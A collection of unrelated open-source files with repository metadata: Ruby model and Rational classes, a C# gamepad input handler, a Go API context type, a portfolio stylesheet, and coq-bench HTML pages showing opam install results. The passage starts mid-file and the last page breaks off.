ClassMethods # Initialize a single resource # # @private def instantiate_record(klass, record) if record.kind_of?(klass) record else klass.new(klass.parse(record)) do |resource| resource.send :clear_changes_information end end end # Initialize a collection of resources # # @private def instantiate_collection(klass, data = {}) collection_parser.new(klass.extract_array(data)).collect! do |record| instantiate_record(klass, record) end end # Initialize a collection of resources with raw data from an HTTP request # # @param [Array] parsed_data # @private def new_collection(parsed_data) instantiate_collection(self, parsed_data) end # Initialize a new object with the "raw" parsed_data from the parsing middleware # # @private def new_from_parsed_data(parsed_data) instantiate_record(self, parsed_data) end # Use setter methods of model for each key / value pair in params # Return key / value pairs for which no setter method was defined on the model # # @note Activeservice won't create attributes automatically # @private def use_setter_methods(model, params) params ||= {} params.inject({}) do |memo, (key, value)| writer = "#{key}=" if model.respond_to?(writer) && (model.has_attribute?(key) || model.has_nested_attributes?(key)) model.send writer, value else key = key.to_sym if key.is_a? String memo[key] = value end memo end end # Returns a mapping of attributes to fields # # ActiveService can map fields from a response to attributes defined on a # model. <tt>attribute_map</tt> translates source fields to their model # attributes and vice-versa during HTTP requests. def attribute_map @attribute_map ||= ActiveService::Model::Attributes::AttributeMap.new(attributes.values) end end end end end
zacharywelch/activeservice
lib/active_service/model/attributes.rb
Ruby
mit
6,526
require 'corelib/numeric' require 'corelib/rational/base' class ::Rational < ::Numeric def self.reduce(num, den) num = num.to_i den = den.to_i if den == 0 ::Kernel.raise ::ZeroDivisionError, 'divided by 0' elsif den < 0 num = -num den = -den elsif den == 1 return new(num, den) end gcd = num.gcd(den) new(num / gcd, den / gcd) end def self.convert(num, den) if num.nil? || den.nil? ::Kernel.raise ::TypeError, 'cannot convert nil into Rational' end if ::Integer === num && ::Integer === den return reduce(num, den) end if ::Float === num || ::String === num || ::Complex === num num = num.to_r end if ::Float === den || ::String === den || ::Complex === den den = den.to_r end if den.equal?(1) && !(::Integer === num) ::Opal.coerce_to!(num, ::Rational, :to_r) elsif ::Numeric === num && ::Numeric === den num / den else reduce(num, den) end end def initialize(num, den) @num = num @den = den end def numerator @num end def denominator @den end def coerce(other) case other when ::Rational [other, self] when ::Integer [other.to_r, self] when ::Float [other, to_f] end end def ==(other) case other when ::Rational @num == other.numerator && @den == other.denominator when ::Integer @num == other && @den == 1 when ::Float to_f == other else other == self end end def <=>(other) case other when ::Rational @num * other.denominator - @den * other.numerator <=> 0 when ::Integer @num - @den * other <=> 0 when ::Float to_f <=> other else __coerced__ :<=>, other end end def +(other) case other when ::Rational num = @num * other.denominator + @den * other.numerator den = @den * other.denominator ::Kernel.Rational(num, den) when ::Integer ::Kernel.Rational(@num + other * @den, @den) when ::Float to_f + other else __coerced__ :+, other end end def -(other) case other when ::Rational num = @num * other.denominator - @den * other.numerator den = @den * other.denominator ::Kernel.Rational(num, den) when ::Integer ::Kernel.Rational(@num - other * @den, @den) when ::Float to_f - other else __coerced__ :-, other end end def *(other) case other when ::Rational num = @num * other.numerator den = @den * other.denominator ::Kernel.Rational(num, den) when ::Integer ::Kernel.Rational(@num * other, @den) when ::Float to_f * other else __coerced__ :*, other end end def /(other) case other when ::Rational num = @num * other.denominator den = @den * other.numerator ::Kernel.Rational(num, den) when ::Integer if other == 0 to_f / 0.0 else ::Kernel.Rational(@num, @den * other) end when ::Float to_f / other else __coerced__ :/, other end end def **(other) case other when ::Integer if self == 0 && other < 0 ::Float::INFINITY elsif other > 0 ::Kernel.Rational(@num**other, @den**other) elsif other < 0 ::Kernel.Rational(@den**-other, @num**-other) else ::Kernel.Rational(1, 1) end when ::Float to_f**other when ::Rational if other == 0 ::Kernel.Rational(1, 1) elsif other.denominator == 1 if other < 0 ::Kernel.Rational(@den**other.numerator.abs, @num**other.numerator.abs) else ::Kernel.Rational(@num**other.numerator, @den**other.numerator) end elsif self == 0 && other < 0 ::Kernel.raise ::ZeroDivisionError, 'divided by 0' else to_f**other end else __coerced__ :**, other end end def abs ::Kernel.Rational(@num.abs, @den.abs) end def ceil(precision = 0) if precision == 0 (-(-@num / @den)).ceil else with_precision(:ceil, precision) end end def floor(precision = 0) if precision == 0 (-(-@num / @den)).floor else with_precision(:floor, precision) end end def hash "Rational:#{@num}:#{@den}" end def inspect "(#{self})" end def rationalize(eps = undefined) %x{ if (arguments.length > 1) { #{::Kernel.raise ::ArgumentError, "wrong number of arguments (#{`arguments.length`} for 0..1)"}; } if (eps == null) { return self; } var e = #{eps.abs}, a = #{self - `e`}, b = #{self + `e`}; var p0 = 0, p1 = 1, q0 = 1, q1 = 0, p2, q2; var c, k, t; while (true) { c = #{`a`.ceil}; if (#{`c` <= `b`}) { break; } k = c - 1; p2 = k * p1 + p0; q2 = k * q1 + q0; t = #{1 / (`b` - `k`)}; b = #{1 / (`a` - `k`)}; a = t; p0 = p1; q0 = q1; p1 = p2; q1 = q2; } return #{::Kernel.Rational(`c * p1 + p0`, `c * q1 + q0`)}; } end def round(precision = 0) return with_precision(:round, precision) unless precision == 0 return 0 if @num == 0 return @num if @den == 1 num = @num.abs * 2 + @den den = @den * 2 approx = (num / den).truncate if @num < 0 -approx else approx end end def to_f @num / @den end def to_i truncate end def to_r self end def to_s "#{@num}/#{@den}" end def truncate(precision = 0) if precision == 0 @num < 0 ? ceil : floor else with_precision(:truncate, precision) end end def with_precision(method, precision) ::Kernel.raise ::TypeError, 'not an Integer' unless ::Integer === precision p = 10**precision s = self * p if precision < 1 (s.send(method) / p).to_i else ::Kernel.Rational(s.send(method), p) end end def self.from_string(string) %x{ var str = string.trimLeft(), re = /^[+-]?[\d_]+(\.[\d_]+)?/, match = str.match(re), numerator, denominator; function isFloat() { return re.test(str); } function cutFloat() { var match = str.match(re); var number = match[0]; str = str.slice(number.length); return number.replace(/_/g, ''); } if (isFloat()) { numerator = parseFloat(cutFloat()); if (str[0] === '/') { // rational real part str = str.slice(1); if (isFloat()) { denominator = parseFloat(cutFloat()); return #{::Kernel.Rational(`numerator`, `denominator`)}; } else { return #{::Kernel.Rational(`numerator`, 1)}; } } else { return #{::Kernel.Rational(`numerator`, 1)}; } } else { return #{::Kernel.Rational(0, 1)}; } } end alias divide / alias quo / end
opal/opal
opal/corelib/rational.rb
Ruby
mit
7,210
using System; using System.Collections.Generic; using System.Text; using System.Diagnostics; using Microsoft.Xna.Framework; using Microsoft.Xna.Framework.Input; using Anarian.Interfaces; using Anarian.Events; namespace Anarian.DataStructures.Input { public class Controller : IUpdatable { PlayerIndex m_playerIndex; GamePadType m_gamePadType; GamePadCapabilities m_gamePadCapabilities; GamePadState m_gamePadState; GamePadState m_prevGamePadState; bool m_isConnected; public PlayerIndex PlayerIndex { get { return m_playerIndex; } } public GamePadType GamePadType { get { return m_gamePadType; } } public GamePadCapabilities GamePadCapabilities { get { return m_gamePadCapabilities; } } public GamePadState GamePadState { get { return m_gamePadState; } } public GamePadState PrevGamePadState { get { return m_prevGamePadState; } } public bool IsConnected { get { return m_isConnected; } } public Controller(PlayerIndex playerIndex) { m_playerIndex = playerIndex; Reset(); } public void Reset() { m_gamePadCapabilities = GamePad.GetCapabilities(m_playerIndex); m_gamePadType = m_gamePadCapabilities.GamePadType; m_gamePadState = GamePad.GetState(m_playerIndex); m_prevGamePadState = m_gamePadState; m_isConnected = m_gamePadState.IsConnected; } #region Interface Implimentations void IUpdatable.Update(GameTime gameTime) { Update(gameTime); } #endregion public void Update(GameTime gameTime) { //if (!m_isConnected) return; // Get the States m_prevGamePadState = m_gamePadState; m_gamePadState = GamePad.GetState(m_playerIndex); // Update if it is connected or not m_isConnected = m_gamePadState.IsConnected; #region Preform Events if (GamePadDown != null) { if (IsButtonDown(Buttons.A)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.A, PlayerIndex)); } if (IsButtonDown(Buttons.B)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.B, PlayerIndex)); } if (IsButtonDown(Buttons.X)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.X, PlayerIndex)); } if (IsButtonDown(Buttons.Y)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.Y, PlayerIndex)); } if (IsButtonDown(Buttons.LeftShoulder)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.LeftShoulder, PlayerIndex)); } if (IsButtonDown(Buttons.RightShoulder)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.RightShoulder, PlayerIndex)); } if (IsButtonDown(Buttons.LeftStick)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.LeftStick, PlayerIndex)); } if (IsButtonDown(Buttons.RightStick)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.RightStick, PlayerIndex)); } if (IsButtonDown(Buttons.DPadUp)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.DPadUp, PlayerIndex)); } if (IsButtonDown(Buttons.DPadDown)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.DPadDown, PlayerIndex)); } if (IsButtonDown(Buttons.DPadLeft)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.DPadLeft, PlayerIndex)); } if (IsButtonDown(Buttons.DPadRight)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.DPadRight, PlayerIndex)); } } if (GamePadClicked != null) { if (ButtonPressed(Buttons.A)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.A, PlayerIndex)); } if (ButtonPressed(Buttons.B)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.B, PlayerIndex)); } if (ButtonPressed(Buttons.X)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.X, PlayerIndex)); } if (ButtonPressed(Buttons.Y)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.Y, PlayerIndex)); } if (ButtonPressed(Buttons.LeftShoulder)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.LeftShoulder, PlayerIndex)); } if (ButtonPressed(Buttons.RightShoulder)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.RightShoulder, PlayerIndex)); } if (ButtonPressed(Buttons.LeftStick)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.LeftStick, PlayerIndex)); } if (ButtonPressed(Buttons.RightStick)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.RightStick, PlayerIndex)); } if (ButtonPressed(Buttons.DPadUp)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.DPadUp, PlayerIndex)); } if (ButtonPressed(Buttons.DPadDown)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.DPadDown, PlayerIndex)); } if (ButtonPressed(Buttons.DPadLeft)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.DPadLeft, PlayerIndex)); } if (ButtonPressed(Buttons.DPadRight)) { GamePadClicked(this, new GamePadPressedEventArgs(gameTime, Buttons.DPadRight, PlayerIndex)); } } if (GamePadMoved != null) { if (HasLeftThumbstickMoved()) { GamePadMoved(this, new GamePadMovedEventsArgs( gameTime, Buttons.LeftStick, PlayerIndex, m_gamePadState.ThumbSticks.Left, m_prevGamePadState.ThumbSticks.Left - m_gamePadState.ThumbSticks.Left) ); } if (HasRightThumbstickMoved()) { GamePadMoved(this, new GamePadMovedEventsArgs( gameTime, Buttons.RightStick, PlayerIndex, m_gamePadState.ThumbSticks.Right, m_prevGamePadState.ThumbSticks.Right - m_gamePadState.ThumbSticks.Right) ); } if (HasLeftTriggerMoved()) { GamePadMoved(this, new GamePadMovedEventsArgs( gameTime, Buttons.LeftTrigger, PlayerIndex, new Vector2(0.0f, m_gamePadState.Triggers.Left), new Vector2(0.0f, m_prevGamePadState.Triggers.Left) - new Vector2(0.0f, m_gamePadState.Triggers.Left)) ); } if (HasRightTriggerMoved()) { GamePadMoved(this, new GamePadMovedEventsArgs( gameTime, Buttons.RightTrigger, PlayerIndex, new Vector2(0.0f, m_gamePadState.Triggers.Right), new Vector2(0.0f, m_prevGamePadState.Triggers.Right) - new Vector2(0.0f, m_gamePadState.Triggers.Right)) ); } } #endregion } #region Helper Methods public bool ButtonPressed(Buttons button) { if (m_prevGamePadState.IsButtonDown(button) == true && m_gamePadState.IsButtonUp(button) == true) return true; return false; } public bool IsButtonDown(Buttons button) { return m_gamePadState.IsButtonDown(button); } public bool IsButtonUp(Buttons button) { return m_gamePadState.IsButtonUp(button); } public void SetVibration(float leftMotor, float rightMotor) { GamePad.SetVibration(m_playerIndex, leftMotor, rightMotor); } #region Thumbsticks public bool HasLeftThumbstickMoved() { if (m_gamePadState.ThumbSticks.Left == Vector2.Zero) return false; return true; } public bool HasRightThumbstickMoved() { if (m_gamePadState.ThumbSticks.Right == Vector2.Zero) return false; return true; } #endregion #region Triggers public bool HasLeftTriggerMoved() { if (m_gamePadState.Triggers.Left == 0.0f) return false; return true; } public bool HasRightTriggerMoved() { if (m_gamePadState.Triggers.Right == 0.0f) return false; return true; } #endregion public bool HasInputChanged(bool ignoreThumbsticks) { if ((m_gamePadState.IsConnected) && (m_gamePadState.PacketNumber != m_prevGamePadState.PacketNumber)) { //ignore thumbstick movement if ((ignoreThumbsticks == true) && ((m_gamePadState.ThumbSticks.Left.Length() != m_prevGamePadState.ThumbSticks.Left.Length()) && (m_gamePadState.ThumbSticks.Right.Length() != m_prevGamePadState.ThumbSticks.Right.Length()))) return false; return true; } return false; } #endregion #region Events public static event GamePadDownEventHandler GamePadDown; public static event GamePadPressedEventHandler GamePadClicked; public static event GamePadMovedEventHandler GamePadMoved; #endregion } }
KillerrinStudios/Anarian-Game-Engine-MonoGame
Anarian Game Engine.Shared/DataStructures/Input/Controller.cs
C#
mit
10,322
package api2go import ( "context" "time" ) // APIContextAllocatorFunc to allow custom context implementations type APIContextAllocatorFunc func(*API) APIContexter // APIContexter embedding context.Context and requesting two helper functions type APIContexter interface { context.Context Set(key string, value interface{}) Get(key string) (interface{}, bool) Reset() } // APIContext api2go context for handlers, nil implementations related to Deadline and Done. type APIContext struct { keys map[string]interface{} } // Set a string key value in the context func (c *APIContext) Set(key string, value interface{}) { if c.keys == nil { c.keys = make(map[string]interface{}) } c.keys[key] = value } // Get a key value from the context func (c *APIContext) Get(key string) (value interface{}, exists bool) { if c.keys != nil { value, exists = c.keys[key] } return } // Reset resets all values on Context, making it safe to reuse func (c *APIContext) Reset() { c.keys = nil } // Deadline implements net/context func (c *APIContext) Deadline() (deadline time.Time, ok bool) { return } // Done implements net/context func (c *APIContext) Done() <-chan struct{} { return nil } // Err implements net/context func (c *APIContext) Err() error { return nil } // Value implements net/context func (c *APIContext) Value(key interface{}) interface{} { if keyAsString, ok := key.(string); ok { val, _ := c.Get(keyAsString) return val } return nil } // Compile time check var _ APIContexter = &APIContext{} // ContextQueryParams fetches the QueryParams if Set func ContextQueryParams(c *APIContext) map[string][]string { qp, ok := c.Get("QueryParams") if ok == false { qp = make(map[string][]string) c.Set("QueryParams", qp) } return qp.(map[string][]string) }
manyminds/api2go
context.go
GO
mit
1,793
/************************** GENERAL ***************************/ body { background-color: #151515; color: #999; } a { text-decoration: none; color: #4db8ff; } #wrapper { max-width: 940px; margin: 0 auto; padding: 0 5%; } img { max-width: 100%; } h3{ margin: 0 0 1em 0; } /************************** HEADING ***************************/ header { font-family: 'Courgette', cursive; background: #009688; float: left; margin: 0 0 30px 0; padding: 5px 0 0 0; width: 100%; height: 80px; } #logo { text-align: center; margin: 0; } h1 { margin: 15px 0; font-size: 1.75em; font-weight: normal; line-height: 0.8em; color: #fff; } /************************** Inicio ***************************/ #texto_inicio { padding-top: 10em; font-family: 'Courgette', cursive; text-align: center; color: #fff; font-weight: 800; letter-spacing: 0.225em; margin: 0 0 1em 0; } #texto_inicio p{ color: #4bad92; margin: 0 0 2em 0; font-size: 100%; text-align: center; } #imagen_inicio{ } /************************** PÁGINA: PORTAFOLIO ***************************/ #gallery { margin: 0; padding: 0; list-style: none; } #gallery li { float: left; width: 45%; margin: 2.5%; background-color: #2E2E2E; color: #bdc3c7; } /*titulo de la galeria */ #gallery li a .titulo_trabajo { margin: 0; padding: 5%; font-size: 0.75em; color: #4bad92; } #gallery li a .parrafo_informacion{ margin: 0; padding: 5%; font-size: 0.75em; color: #E0F8EC; } #gallery li a .habilidades{ padding: 0; } #gallery li a ul .habilidad{ display:inline-block; background-color: #0F6A62; color: #fff; font-size: 0.65em; padding: 0.5em; text-transform: uppercase; width: 4em; border-radius: 40%; } /*Para lo que acompaña nuestras imagenes 3d*/ #gallery li .parrafo_informacion{ margin: 0; padding: 5%; font-size: 0.75em; color: #E0F8EC; } #gallery li .titulo_trabajo { margin: 0; padding: 5%; font-size: 0.75em; color: #4bad92; } #gallery li .titulo_trabajo2 { margin: 0; padding: 5%; font-size: 1em; color: #4bad92; } /* cambio de tamaño para las habilidades mas grandes cambiar el de comunicación en ilustraciones */ #gallery li a ul .habilidad_larga{ display:inline-block; background-color: #0F6A62; color: #fff; padding: 0.5em; text-transform: uppercase; width: 6em; border-radius: 40%; font-size: 0.55em; text-align: center; } /************************** PÁGINA: ACERCA DE ***************************/ .profile-photo { display: block; max-width: 150px; margin: 0 auto 30px; border-radius: 100%; } .profile-logo { display: block; max-width: 150px; margin: 0 auto 30px; border-radius: 100%; } .contact-info a { display: block; min-height: 20px; background-repeat: no-repeat; background-size: 20px 20px; padding: 0 0 0 30px; margin: 0 0 10; } .perfiles_individuales{ padding-top: 50px; } .contact-info li.phone a { background-image: url('../img/phone.png'); } .contact-info li.mail a { background-image: url('../img/mail.png'); } .contact-info li.twitter a { background-image: url('../img/twitter.png'); } /************************** PÁGINA: CONTACTO ***************************/ .contact-info { list-style: none; padding: 0; margin: 0; font-size: 0.9m; } /************************** NAVIGATION ***************************/ nav { } nav ul { list-style: none; margin: 20px 10px; padding: 0; } nav li { display: inline-block; } nav a { font-weight: 800; padding: 15px 10px; } /************************** FOOTER ***************************/ footer { font-size: 0.75em; text-align: center; padding-top: 50px; color: #ccc; clear: both; } .social-icon { width: 20px; height: 20px; margin: 0 5px; } /********************************** CONTACT FORM ***********************************/ .form-control { margin: 5px 0; clear: left; float: left; } form textarea { width: 20em; } /************************** COLORS ***************************/ /* links de navegación */ nav a, nav a:visited { color: #fff; } /* links seleccionados */ nav a.selected, a:hover { color: #4bad92; } header .selected{ color: #4bad92; } /*********************************************** PÁGINA: con texto largo y descripción proyectos ***********************************************/ #parrafo_descripción li { float: left; width: 80%; margin: 2.5%; background-color: #2E2E2E; color: #bdc3c7; list-style:none } /*titulo de la galeria */ .titulo_trabajo { margin: 0; padding: 5%; padding-bottom: 15px; font-size: 1.2em; color: #4bad92; } .parrafo_informacion{ margin: 0; padding: 5%; font-size: 0.9em; color: #E0F8EC; } .load_images { display: block; max-width: 150px; margin: 0 auto 30px; border-radius: 0%; } .load_images2 { display: block; max-width: 90%; margin: 0 auto 30px; border-radius: 0%; }
juanAlvarezM/vrExperiences
css/main.css
CSS
mit
4,980
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>fcsl-pcm: Not compatible 👼</title> <link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" /> <link href="../../../../../bootstrap.min.css" rel="stylesheet"> <link href="../../../../../bootstrap-custom.css" rel="stylesheet"> <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet"> <script src="../../../../../moment.min.js"></script> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <div class="container"> <div class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li><a href="../..">clean / released</a></li> <li class="active"><a href="">8.7.1+2 / fcsl-pcm - 1.2.0</a></li> </ul> </div> </div> </div> <div class="article"> <div class="row"> <div class="col-md-12"> <a href="../..">« Up</a> <h1> fcsl-pcm <small> 1.2.0 <span class="label label-info">Not compatible 👼</span> </small> </h1> <p>📅 <em><script>document.write(moment("2022-02-24 14:39:15 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2022-02-24 14:39:15 UTC)</em><p> <h2>Context</h2> <pre># Packages matching: installed # Name # Installed # Synopsis base-bigarray base base-num base Num library distributed with the OCaml compiler base-threads base base-unix base camlp5 7.14 Preprocessor-pretty-printer of OCaml conf-findutils 1 Virtual package relying on findutils conf-perl 2 Virtual package relying on perl coq 8.7.1+2 Formal proof management system num 0 The Num library for arbitrary-precision integer and rational arithmetic ocaml 4.05.0 The OCaml compiler (virtual package) ocaml-base-compiler 4.05.0 Official 4.05.0 release ocaml-config 1 OCaml Switch Configuration ocamlfind 1.9.3 A library manager for OCaml # opam file: opam-version: &quot;2.0&quot; maintainer: &quot;FCSL &lt;[email protected]&gt;&quot; homepage: &quot;http://software.imdea.org/fcsl/&quot; bug-reports: &quot;https://github.com/imdea-software/fcsl-pcm/issues&quot; dev-repo: &quot;git+https://github.com/imdea-software/fcsl-pcm.git&quot; license: &quot;Apache-2.0&quot; build: [ make &quot;-j%{jobs}%&quot; ] install: [ make &quot;install&quot; ] depends: [ &quot;coq&quot; {(&gt;= &quot;8.10&quot; &amp; &lt; &quot;8.13~&quot;) | (= &quot;dev&quot;)} &quot;coq-mathcomp-ssreflect&quot; {(&gt;= &quot;1.10.0&quot; &amp; &lt; &quot;1.12~&quot;) | (= &quot;dev&quot;)} ] tags: [ &quot;keyword:separation logic&quot; &quot;keyword:partial commutative monoid&quot; &quot;category:Computer Science/Data Types and Data Structures&quot; &quot;logpath:fcsl&quot; &quot;date:2019-11-07&quot; ] authors: [ &quot;Aleksandar Nanevski&quot; ] synopsis: &quot;Partial Commutative Monoids&quot; description: &quot;&quot;&quot; The PCM library provides a formalisation of Partial Commutative Monoids (PCMs), a common algebraic structure used in separation logic for verification of pointer-manipulating sequential and concurrent programs. The library provides lemmas for mechanised and automated reasoning about PCMs in the abstract, but also supports concrete common PCM instances, such as heaps, histories and mutexes. This library relies on extensionality axioms: propositional and functional extentionality.&quot;&quot;&quot; url { src: &quot;https://github.com/imdea-software/fcsl-pcm/archive/v1.2.0.tar.gz&quot; checksum: &quot;sha256=5faabb3660fa7d9fe83d6947621ac34dc20076e28bcd9e87b46edb62154fd4e8&quot; } </pre> <h2>Lint</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Dry install 🏜️</h2> <p>Dry install with the current Coq version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam install -y --show-action coq-fcsl-pcm.1.2.0 coq.8.7.1+2</code></dd> <dt>Return code</dt> <dd>5120</dd> <dt>Output</dt> <dd><pre>[NOTE] Package coq is already installed (current version is 8.7.1+2). The following dependencies couldn&#39;t be met: - coq-fcsl-pcm -&gt; coq &gt;= dev no matching version Your request can&#39;t be satisfied: - No available version of coq satisfies the constraints No solution found, exiting </pre></dd> </dl> <p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-fcsl-pcm.1.2.0</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Install dependencies</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Install 🚀</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Installation size</h2> <p>No files were installed.</p> <h2>Uninstall 🧹</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Missing removes</dt> <dd> none </dd> <dt>Wrong removes</dt> <dd> none </dd> </dl> </div> </div> </div> <hr/> <div class="footer"> <p class="text-center"> Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣 </p> </div> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="../../../../../bootstrap.min.js"></script> </body> </html>
coq-bench/coq-bench.github.io
clean/Linux-x86_64-4.05.0-2.0.1/released/8.7.1+2/fcsl-pcm/1.2.0.html
HTML
mit
7,473
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>relation-algebra: 4 m 10 s</title> <link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" /> <link href="../../../../../bootstrap.min.css" rel="stylesheet"> <link href="../../../../../bootstrap-custom.css" rel="stylesheet"> <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet"> <script src="../../../../../moment.min.js"></script> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <div class="container"> <div class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li><a href="../..">clean / released</a></li> <li class="active"><a href="">8.11.2 / relation-algebra - 1.7.3</a></li> </ul> </div> </div> </div> <div class="article"> <div class="row"> <div class="col-md-12"> <a href="../..">« Up</a> <h1> relation-algebra <small> 1.7.3 <span class="label label-success">4 m 10 s</span> </small> </h1> <p><em><script>document.write(moment("2020-09-11 16:27:45 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2020-09-11 16:27:45 UTC)</em><p> <h2>Context</h2> <pre># Packages matching: installed # Name # Installed # Synopsis base-bigarray base base-num base Num library distributed with the OCaml compiler base-threads base base-unix base conf-findutils 1 Virtual package relying on findutils conf-m4 1 Virtual package relying on m4 coq 8.11.2 Formal proof management system num 0 The Num library for arbitrary-precision integer and rational arithmetic ocaml 4.05.0 The OCaml compiler (virtual package) ocaml-base-compiler 4.05.0 Official 4.05.0 release ocaml-config 1 OCaml Switch Configuration ocamlfind 1.8.1 A library manager for OCaml # opam file: opam-version: &quot;2.0&quot; synopsis: &quot;Relation Algebra and KAT in Coq&quot; maintainer: &quot;Damien Pous &lt;[email protected]&gt;&quot; homepage: &quot;http://perso.ens-lyon.fr/damien.pous/ra/&quot; dev-repo: &quot;git+https://github.com/damien-pous/relation-algebra.git&quot; bug-reports: &quot;https://github.com/damien-pous/relation-algebra/issues&quot; license: &quot;LGPL-3.0-or-later&quot; depends: [ &quot;ocaml&quot; &quot;coq&quot; {&gt;= &quot;8.11&quot; &amp; &lt; &quot;8.12~&quot;} ] depopts: [ &quot;coq-mathcomp-ssreflect&quot; ] build: [ [&quot;sh&quot; &quot;-exc&quot; &quot;./configure --%{coq-mathcomp-ssreflect:enable}%-ssr&quot;] [make &quot;-j%{jobs}%&quot;] ] install: [make &quot;install&quot;] tags: [ &quot;keyword:relation algebra&quot; &quot;keyword:kleene algebra with tests&quot; &quot;keyword:kat&quot; &quot;keyword:allegories&quot; &quot;keyword:residuated structures&quot; &quot;keyword:automata&quot; &quot;keyword:regular expressions&quot; &quot;keyword:matrices&quot; &quot;category:Mathematics/Algebra&quot; &quot;logpath:RelationAlgebra&quot; ] authors: [ &quot;Damien Pous &lt;[email protected]&gt;&quot; &quot;Christian Doczkal &lt;[email protected]&gt;&quot; ] url { src: &quot;https://github.com/damien-pous/relation-algebra/archive/v1.7.3.tar.gz&quot; checksum: &quot;md5=69c916214840e742d3a78d6d3cb55a1c&quot; } </pre> <h2>Lint</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Dry install</h2> <p>Dry install with the current Coq version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam install -y --show-action coq-relation-algebra.1.7.3 coq.8.11.2</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Install dependencies</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam list; echo; ulimit -Sv 4000000; timeout 2h opam install -y --deps-only coq-relation-algebra.1.7.3 coq.8.11.2</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>4 s</dd> </dl> <h2>Install</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam list; echo; ulimit -Sv 16000000; timeout 2h opam install -y -v coq-relation-algebra.1.7.3 coq.8.11.2</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>4 m 10 s</dd> </dl> <h2>Installation size</h2> <p>Total: 8 M</p> <ul> <li>395 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/normalisation.vo</code></li> <li>374 K 